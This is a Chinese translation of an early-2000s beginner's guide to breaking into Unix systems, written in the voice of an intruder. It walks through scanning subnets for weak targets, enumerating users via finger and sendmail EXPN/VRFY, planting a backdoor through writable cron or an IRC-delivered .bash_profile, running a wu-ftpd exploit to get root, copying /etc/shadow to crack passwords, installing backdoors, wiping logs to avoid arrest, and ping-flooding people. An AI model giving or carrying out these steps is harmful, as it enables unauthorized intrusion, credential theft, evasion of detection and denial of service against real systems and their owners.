Unix黑客初学者指导

/ns/cn/jc/data/20020804015617.htm

Unix黑客初学者指导



作者:grim
发布日期:2002-2-5
上传日期:2002-2-5
来源:翻译:snowblue(snowblue@wx88.net)


首先说一下写这篇文章的目的,近来越来越多的人问我诸如“我如何能够黑了hotmail”或者aol等等一些其它的愚
蠢的问题。这篇文章将确实的向你解释关于“hack”的一些知识。如果你是个初学者,你应当从头到尾通读这篇文
章,或者如果你已经进阶了,那就别再往下看了,你应该全都了解的。我或许将往这篇文章中添加一些内容或者让
他变得更易于理解。我写这篇文章的最根本的原因是,让别人不再来问我或者其他人如何去做*愚蠢*的事,是的,
问如何去黑(how to hack)是*愚蠢*的,它让你看起来愚蠢并且学不到任何东西,当然除非你完全不能自学的
话。
起初当我想弄乱别人的电脑时,我只是一个中学的小孩子。我问别人有关病毒和木马的事,并且使用它们,那时我
是一个lamer(瘸子,不完整的)。我在学校里问别人并且最终发现一个对hacking感兴趣的人。他向我展示一些技
巧,我付给他钱。(snowblue:现在有SQL,无用等一些高手义务的帮助你们,而你们却不好好的珍惜)他使用
UNIX很多年了,他叫我去找一个shell。我不知道那是什么意思。他说那是对UNIX系统的访问权限。我仍然有点迷
惑,最终我得到了一个shell。我读所有我能够找到的,把所有的时间都花在计算机上,我开始对社会和现实世界
失去兴趣。那时候我每天在计算机上花的时间超过12个小时。我读任何找到的资料,我读的第一篇文章是"mostly
harmless hacking"(几乎没有破坏性的入侵),我对它很感兴趣。起初我只会用一些图形模式的工具来做一些像
改变关机屏幕的简单的事。做有关hacking的网站,尽管我并不知道hacking究竟是什么。我收集windows下的木马
和病毒等一些工具,尽管那并不是hacking,但那时候我喜欢它们。随后我开始用邮件炸弹,flooder,DoS。当我
对他们有了了解后,(我意识到那并不是hacking)我回去继续寻找shell。当时我所能找到的免费的shell都是非
常简单的。我听说了有关linux的一些事。我问我学校的“黑客朋友”,他说不要用linux,用真正的UNIX。他搬到
了PA,从那以后我再也没有他的音讯。我试图找到他并感谢它所教给我的,但没有成功。我得到了一个linux。安装
是文本模式的,但它运行很迅速,它比windows要可乱说话多了,从不死机。但我的56k modem不能工作,我跑到了
IRC问有关linux的问题。我发现了我的modem是一种叫winmodem的,win-moden是由软件控制的,他们通常比硬件
modem慢,并且不能再linux下工作。(snowblue:现在大多数的modem在linux下都有驱动,你可以自己寻找)我在
命令行下模式工作,看自己能够干些什么。最终我花了100美元买了一个linux兼容的modem。我让他工作,这太棒
了。从那以后我就使用它,并且仍然可以在那上面学到更多的东西。我的父母说我“对计算机着魔了”,我试图解
释我并没有。我从没有对它感到厌烦,我一直能够学到新的东西。那段时间里,我失去了一些朋友,退出了大学足
球队。所有的一切仅仅是为了这该死的机器。希望某人可以发现这篇文章很有用。
目录

1. 普通的知识
2. 需要的东西
3. 简单的入侵
4. 如何进入
5. 列举
6. 常见的失误
7. 缓冲溢出
8. 防火墙
9. 进入之后干些什么
10. 如何才能不被抓住
11. 清除纪录
12. 用途
13. 我对破坏者的看法

否认声明:
阅读这篇文章说明你同意隶属于r00t-access的任何人都不对你通过看这篇文章所造成的任何后果负责

1. 读这篇文章的最好方法是一次把它读完,然后再读一遍。好吧,现在让我们开始。我假设你已经有了一些基本
的知识,知道telnet是什么,一些基本的tcp/ip的知识等等。如果有一些你并不理解,不要犹豫,加入
irc.dal.net上的#r00t-access,那是我常去的地方。
需要的东西:
2. 我列出了一些在这篇教程中需要的东西。你可以在anti-secure.com和packetstorm.securify.com找到它们。
用引擎找一下就可以了。
1. - superscan (for windows)
2. - nmap (for unix)
3. - full shell access (the very best is if you have linux or bsd or solaris or another unix OS)
4. - compiler on the shell
5. - wingates (you can use them as telnet proxys)

容易的目标:
3. 这里我讲一下如何找到一些容易的目标
1. 到altavista.com用日语或其他语言搜索“游戏”,理由是这些站点的安全性较低
2. 扫描一个有很多服务的cable或者dsl子网,你可以用nmap,端口的状态应当是open而不是close或者
filtered,nmap的扫描报告会告诉你的。我将不会告诉你如何使用namp,原因是man page已经有作够的信息了。
3. 确保nmap已经被安装了。使用下面我给出的命令
(注意:$是一个普通的用户,而#则是超级用户。作为例子,我用了24.112.*.*,吧它替换成你想要扫瞄的ip)
$ nmap -p 21,23 24.112.*.*
进入:
4. 为了能够进入,你应当收集尽可能多的有关目标主机的信息。由于这是你的第一次入侵,所以确保它有一个笨
笨的管理员。然后你可以使用exploit。我将在后面详细解释
列举:
5. Ok 我们找到了目标。现在让我们得到更多的信息。首先来telnet它的79端口。如果它是打开的,你就可以得
到以登陆用户的信息。仅仅是telnet然后按下回车。
让我们假定端口是打开的并且允许我们查看在线用户。看下面的例子:
$ telnet target.domain 79
Trying IPaddress...
Connected to target.domain.
Escape character is ^].

Login Name Tty Idle Login Time Office Office Phone
gt grahm crackhead /1 Sep 1 12:01
ok 如果你得到了一个login,把它记下来,然后找更多的login。或许你需要暴力穷句。你可以在
www.packetstorm.securify.com 找到一个windows下的穷具工具。使用大量的单词来穷举那个账号。如果你得到的
消息是"no one is logged on" 或许你需要一个windows下的haktek。同样,你可以在
www.packetstorm.securify.com 找到它。Haketk能够让你监视finger进程并且纪录登陆的人。这是很有用的。另
一种方法,你可以用sendmail。如果他们有很多的用户,你可以尝试telnet并且找几个有效的用户名,还可以找几
个程序通过暴力法来完成。看下面,我给出了通过sendmail来得到有效的用户名的例子―
$ telnet target.domain 25
Trying IPaddress...
Connected to target.domain.
Escape character is ^].

220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400
expn wally
250 Wally Kolcun
vrfy wally
250 Wally Kolcun
expn Billy
550 BIlly... User Unknown
就像你所看到的,我telnet到他们的smtp,敲入expn,然后系统告诉我这是不是一个有效的用户,最后我给出了一
个用户不存在的例子,当我敲入expn Billy,系统告诉我用户不存在,然后我知道这不是一个合法的用户。这同样
可以帮助你得到他们的email,然后你就可以尝试一下社会工程学。
另一个搜集用户名的方法可以是利用usenet, altavista,你可以搜索一下新闻组,或许可以得到一些有用的信
息。
另一些可以利用的进程是 systat netstat等等。
telnet还可以帮助你判断出对方的操作系统,当你想exploit时这是非常重要的。当telnet时,有些会给出系统信
息,如下所示:
Trying IPaddress...
Connected to target.domain.
Escape character is ^].

Red Hat Linux release 6.1 (Cartman)
Kernal 2.2.12-20 on an i586
login:
你可以看到,系统是redhat 6.1
有些时候你可以使用社会工程学,拿Kevin Mitnick举个例子。它使用社会工程学进入了Novell,一个很大的系]
统。它所作的只是像一个在那里工作的人那样和别人交谈。他知道当时那里的某人正在度假,但是他知道某人的名
字。他打电话到了Novell的办公室找那个人,然后秘书告诉他那个人正在度假,然后他说它需要和那个人联系,于
是它便从秘书那里得到了那个人的信息。
常见的失误:
6. 人们会时不时的犯一些错误。这可以帮助你进入。某些人并不是很好的管理员。一个十分普遍的失误是权限设
置上的错误。有些系统对所有人都开放了write权限。这是一个很大的问题。让我们举个例子。某人把cron.daily
的write权限开放给所有人。你就可以上传一个后门程序并通过cron进程来执行,从而得到系统的访问权。
现在让我来告诉你最可怕的事。假如某个用户在系统上使用IRC,并且如果它把dcc文件传送设置为自动接收,接受
目录为他的主目录。你就可以传给他一个.bash_profile,文件写的好的话,可以让他做一些事。例如添加一个用
户,或者把密码邮寄给某人。很显然这是进入系统的最简单的方法。
缓冲溢出/exploiting:
7. 我不打算对缓冲溢出讲得太深,我只想借是那是什么然后进入下一节。
缓冲溢出―在进程上有一个叫缓冲限制的东西。缓冲限制限制了进入的字节数。某些情况下,你可以通过特殊的代
码让缓冲区溢出来得到一个root用户或者普通用户。有一个例子是wu-ftpd 2.6.0 (1)的缓冲溢出。下面我将告诉
你:
$ gcc wuftpd-god.c -o wuftpd-god
$ ./wuftpd-god -h

Usage: ./wuftpd-god -t [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]
[-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]
target : host with any wuftpd
user : anonymous user
dir : if not anonymous user, you need to have writable directory
magic_str : magic string (see exploit description)
-g : enables magic string digging
-x : enables test mode
pass_addr : pointer to setproctitle argument
ret_addr : this is pointer to shellcode
systypes:
0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm
3 - SuSe 6.4 with wuftpd 2.6.0(1) from rpm
4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)
5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports
* 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages
7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports
8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages


$ ./wuftpd-god -s0 -t target.domain

Target: target.domain (ftp/): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152

loggin into system..
[32mUSER ftp
[0m331 Guest login ok, send your complete e-mail address as password.
[32mPASS
[0m230-Next time please use your e-mail address as your password
230- for example: joe@cc456375-b.abdn1.md.home.com
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
Linux melmac 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)

#
如果你想要root的话,exploit是一种方法。查出系统的操作系统,然后到hack.co.za 或者packetstorm 查找那个
系统的exploit,你应当得到一些perl scripts/c scripts/shell scripts。执行它们,你就会成为root
当然,如果系统打了exploit的补丁,你或许想知道root的口令是什么。可以敲下面的命令:
(如果没有经过shadow,口令被存放于/etc/passwd)
# cat /etc/shadow > /root/passwd
root:34jk3h4jh3.,;8363:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
sympa:x:89:89:Sympa Mailing list manager:/home/sympa:/bin/bash
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:100:103:X Font Server:/etc/X11/fs:/bin/false
fax:x:10:14:Fax Master:/home/fax/:/bin/bash
postfix:x:101:233:postfix:/var/spool/postfix:
gdm:x:42:235::/home/gdm:/bin/bash
grim:9hu.u8:501:501:grim:/home/grim:/bin/bash
banal:x:102:236:BANAL Administrator:/home/banal:/bin/bash
bleeb:36.34/363;86:502:506::/home/bleeb:/bin/bash
上面就是/etc/passwd的内容,但是你需要破解他们,可以用john the ripper,可以在packetstorm或其他地方找
到它。我就用它,他很快。(snowbue:支持国产,你可以用小榕的 乱刀 可以在在www.netxeyes.com 下载)有时
破解一个账号要用几年的时间,所以我并不提倡这种做法。
防火墙:
8. 如果你了解你所作的,防火墙并不能阻止你。我很喜欢用nmap,这个工具非常好。在www.insecure.org 可以
找到最新的版本。我喜欢它的OS(操作系统)检测,即使目标只运行了很少的服务,它的检测也很准确。它通过分
析目标的tcp指纹并于自身携带的数据库作比较来得到结果。下面给出一个使用nmap来查出防火墙规则的例子。敲
入nmap �CsA 。浙江检测防火墙的规则。我不想太过深入而是这篇文章变得使人厌烦。如果你像知道更多有关nmap
的,只需敲入man nmap就可以了。
进入以后做什么:
9. 进入以后做什么取决于你想如何使用这个系统。如果你想有一个匿名的root shell,那么就设置一个后门。你
可以在www.packetstorm.securify.com 找到后门(木马)。我认为你完全有能力自己独立设置一个后门,但是如
果你需要帮助的话,加入$r00t-access,或许我可以帮助你。但是我*不会*帮助你进入一个系统,不过我或许可以
帮助你加固你自己的系统。
如何才能不被抓住:
10. 最主要的事是。别干*蠢*事。如果你想保住那个shell,不要破坏那个系统,不要删除他们的文件,不过或许
你需要修改他们的纪录。这就是我想说的。
清除纪录:
11. 如果你还向待在这儿而不进监狱的话,清除日志是最重要的工作。在login/hostname中清除纪录,linux里
是/var/log,还有你目录下的.bash_profile文件。作这事的最简单的方法是到blackcode.com 或packetstorm找一
个工具。
用途:
12. 我一向都拥有超过一个root shell。我在那上面运行nmap和saint来隐藏我自己的主机。或许我会在那上面设
置一个web proxy/bnc。Saint是一个很好的工具。它可以告诉你系统有些什么漏洞。你可以在远程很容易的使用
它。有时当我看不惯某人的时候,我就flood他们,就像这样:
# ping -f -c 50 -s 4500 IPaddress
.........................................................
...........................................................
.........E...........E...EE........E..................E.......
..............E.......E.EEE...................E.E......
Host unreatchable.
有人认为这是lame的,但是我通过这样来让某人在IRC里闭嘴。
破坏者:
13. 在这篇文章中我没有谈到hacking,实际上我我所涉及的只是cracking,我并不破坏系统,可能永远都不会。
并不是我没有这个能力而是因为这是不对的。再加上如果你被抓住了你或许会因为你的破坏而坐几年牢。我不喜欢
人们把hacking和cracking混为一谈
ok 写完了。如果你有问题的话,可以联系我,但请不要问诸如如何去黑的问题。不久我将建一个telnet的BBS。